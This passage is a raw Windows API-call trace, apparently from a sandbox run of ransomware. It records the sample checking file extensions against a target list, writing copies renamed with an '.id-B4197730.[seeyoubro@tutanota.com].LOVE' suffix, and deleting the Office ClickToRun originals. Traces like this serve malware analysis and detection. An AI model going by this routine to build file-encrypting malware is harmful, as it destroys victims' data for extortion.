hTemplateFile=0x0) returned 0xffffffff [0209.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.945] lstrlenW (lpString=".doc") returned 4 [0209.945] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.945] lstrlenW (lpString=".docx") returned 5 [0209.945] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0209.945] lstrlenW (lpString=".pdf") returned 4 [0209.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.945] lstrlenW (lpString=".xls") returned 4 [0209.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.945] lstrlenW (lpString=".xlsx") returned 5 [0209.945] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0209.945] lstrlenW (lpString=".ppt") returned 4 [0209.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.945] lstrlenW (lpString=".zip") returned 4 [0209.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.945] lstrlenW (lpString=".rar") returned 4 [0209.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.945] lstrlenW (lpString=".bz2") returned 4 [0209.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.945] lstrlenW (lpString=".7z") returned 3 [0209.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.945] lstrlenW (lpString=".dbf") returned 4 [0209.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.946] lstrlenW (lpString=".1cd") returned 4 [0209.946] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.946] lstrlenW (lpString=".jpg") returned 4 [0209.946] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.946] lstrlenW (lpString=".doc") returned 4 [0209.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString=".docx") returned 5 [0209.946] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0209.946] lstrlenW (lpString=".pdf") returned 4 [0209.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString=".xls") returned 4 [0209.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString=".xlsx") returned 5 [0209.946] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0209.946] lstrlenW (lpString=".ppt") returned 4 [0209.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.946] lstrlenW (lpString=".zip") returned 4 [0209.946] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString=".rar") returned 4 [0209.946] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.946] lstrlenW (lpString=".bz2") returned 4 [0209.946] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.946] lstrlenW (lpString=".7z") returned 3 [0209.946] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.947] lstrlenW (lpString=".dbf") returned 4 [0209.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.947] lstrlenW (lpString=".1cd") returned 4 [0209.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0209.947] lstrlenW (lpString=".jpg") returned 4 [0209.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.947] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.947] lstrlenW (lpString="AppVScripting.dll") returned 17 [0209.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.948] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=512216) returned 1 [0209.948] CloseHandle (hObject=0x2d8) returned 1 [0209.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0209.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0209.948] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.948] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.949] GetLastError () returned 0x0 [0209.949] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x7d0d8, lpOverlapped=0x0) returned 1 [0210.295] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x7d0e0, lpOverlapped=0x0) returned 1 [0210.304] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.304] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf6, lpOverlapped=0x0) returned 1 [0210.304] SetEndOfFile (hFile=0x374) returned 1 [0210.304] CloseHandle (hObject=0x374) returned 1 [0210.547] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.547] SetEndOfFile (hFile=0x2d8) returned 1 [0210.550] CloseHandle (hObject=0x2d8) returned 1 [0210.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0210.551] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1 [0210.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.551] lstrlenW (lpString=".doc") returned 4 [0210.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.551] lstrlenW (lpString=".docx") returned 5 [0210.551] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0210.551] lstrlenW (lpString=".pdf") returned 4 [0210.551] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.551] lstrlenW (lpString=".xls") returned 4 [0210.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.551] lstrlenW (lpString=".xlsx") returned 5 [0210.551] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0210.551] lstrlenW (lpString=".ppt") returned 4 [0210.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.551] lstrlenW (lpString=".zip") returned 4 [0210.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.551] lstrlenW (lpString=".rar") returned 4 [0210.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.551] lstrlenW (lpString=".bz2") returned 4 [0210.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.551] lstrlenW (lpString=".7z") returned 3 [0210.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString=".dbf") returned 4 [0210.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString=".1cd") returned 4 [0210.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString=".jpg") returned 4 [0210.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString=".doc") returned 4 [0210.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString=".docx") returned 5 [0210.552] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0210.552] lstrlenW (lpString=".pdf") returned 4 [0210.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString=".xls") returned 4 [0210.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString=".xlsx") returned 5 [0210.552] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0210.552] lstrlenW (lpString=".ppt") returned 4 [0210.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString=".zip") returned 4 [0210.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString=".rar") returned 4 [0210.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0210.552] lstrlenW (lpString=".bz2") returned 4 [0210.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0210.552] lstrlenW (lpString=".7z") returned 3 [0210.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.552] lstrlenW (lpString=".dbf") returned 4 [0210.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0210.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.553] lstrlenW (lpString=".1cd") returned 4 [0210.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0210.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75 [0210.553] lstrlenW (lpString=".jpg") returned 4 [0210.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0210.553] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0210.553] lstrlenW (lpString="C2R32.dll") returned 9 [0210.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0210.553] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=820416) returned 1 [0210.553] CloseHandle (hObject=0x2d8) returned 1 [0210.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0210.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0210.553] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.553] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.554] GetLastError () returned 0x0 [0210.554] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xc84c0, lpOverlapped=0x0) returned 1 [0211.919] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xc84d0, lpOverlapped=0x0) returned 1 [0211.930] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.930] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xe6, lpOverlapped=0x0) returned 1 [0211.930] SetEndOfFile (hFile=0x374) returned 1 [0212.212] CloseHandle (hObject=0x374) returned 1 [0212.730] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.730] SetEndOfFile (hFile=0x2d8) returned 1 [0212.736] CloseHandle (hObject=0x2d8) returned 1 [0212.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0212.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1 [0212.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0212.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0212.737] lstrlenW (lpString=".doc") returned 4 [0212.737] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0212.737] lstrlenW (lpString=".docx") returned 5 [0212.737] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0212.737] lstrlenW (lpString=".pdf") returned 4 [0212.737] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0212.737] lstrlenW (lpString=".xls") returned 4 [0212.737] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0212.737] lstrlenW (lpString=".xlsx") returned 5 [0212.737] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0212.737] lstrlenW (lpString=".ppt") returned 4 [0212.737] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0212.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0212.737] lstrlenW (lpString=".zip") returned 4 [0212.737] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0212.737] lstrlenW (lpString=".rar") returned 4 [0212.737] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0212.737] lstrlenW (lpString=".bz2") returned 4 [0212.737] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0212.737] lstrlenW (lpString=".7z") returned 3 [0212.738] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0212.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0212.738] lstrlenW (lpString=".dbf") returned 4 [0212.738] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0212.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0212.738] lstrlenW (lpString=".1cd") returned 4 [0212.738] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0212.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0212.738] lstrlenW (lpString=".jpg") returned 4 [0212.738] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0212.738] GetLastError () returned 0x0 [0212.738] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x66, lpOverlapped=0x0) returned 1 [0212.739] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x70, lpOverlapped=0x0) returned 1 [0212.740] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.740] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.740] SetEndOfFile (hFile=0x374) returned 1 [0212.740] CloseHandle (hObject=0x374) returned 1 [0212.740] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.740] SetEndOfFile (hFile=0x2d8) returned 1 [0212.741] CloseHandle (hObject=0x2d8) returned 1 [0212.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0212.741] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0212.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0212.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0212.741] lstrlenW (lpString=".doc") returned 4 [0212.741] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0212.741] lstrlenW (lpString=".docx") returned 5 [0212.741] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0212.741] lstrlenW (lpString=".pdf") returned 4 [0212.742] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString=".xls") returned 4 [0212.742] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString=".xlsx") returned 5 [0212.742] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0212.742] lstrlenW (lpString=".ppt") returned 4 [0212.742] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0212.742] lstrlenW (lpString=".zip") returned 4 [0212.742] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString=".rar") returned 4 [0212.742] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString=".bz2") returned 4 [0212.742] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString=".7z") returned 3 [0212.742] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0212.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0212.742] lstrlenW (lpString=".dbf") returned 4 [0212.742] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0212.742] lstrlenW (lpString=".1cd") returned 4 [0212.742] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0212.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0212.742] lstrlenW (lpString=".jpg") returned 4 [0212.742] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0212.742] GetLastError () returned 0x0 [0212.742] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0213.389] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0213.401] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xae90, lpOverlapped=0x0) returned 1 [0214.688] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xaea0, lpOverlapped=0x0) returned 1 [0217.439] ReadFile (in: hFile=0x2d8, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.439] WriteFile (in: hFile=0x374, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xfc, lpOverlapped=0x0) returned 1 [0217.440] SetEndOfFile (hFile=0x374) returned 1 [0217.440] CloseHandle (hObject=0x374) returned 1 [0217.440] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.440] SetEndOfFile (hFile=0x2d8) returned 1 [0217.441] CloseHandle (hObject=0x2d8) returned 1 [0217.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0217.441] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0217.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0217.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0217.442] lstrlenW (lpString=".doc") returned 4 [0217.442] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0217.442] lstrlenW (lpString=".docx") returned 5 [0217.442] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0217.442] lstrlenW (lpString=".pdf") returned 4 [0217.442] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0217.442] lstrlenW (lpString=".xls") returned 4 [0217.442] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0217.442] lstrlenW (lpString=".xlsx") returned 5 [0217.442] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0217.442] lstrlenW (lpString=".ppt") returned 4 [0217.442] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0217.442] lstrlenW (lpString="C:\\Program 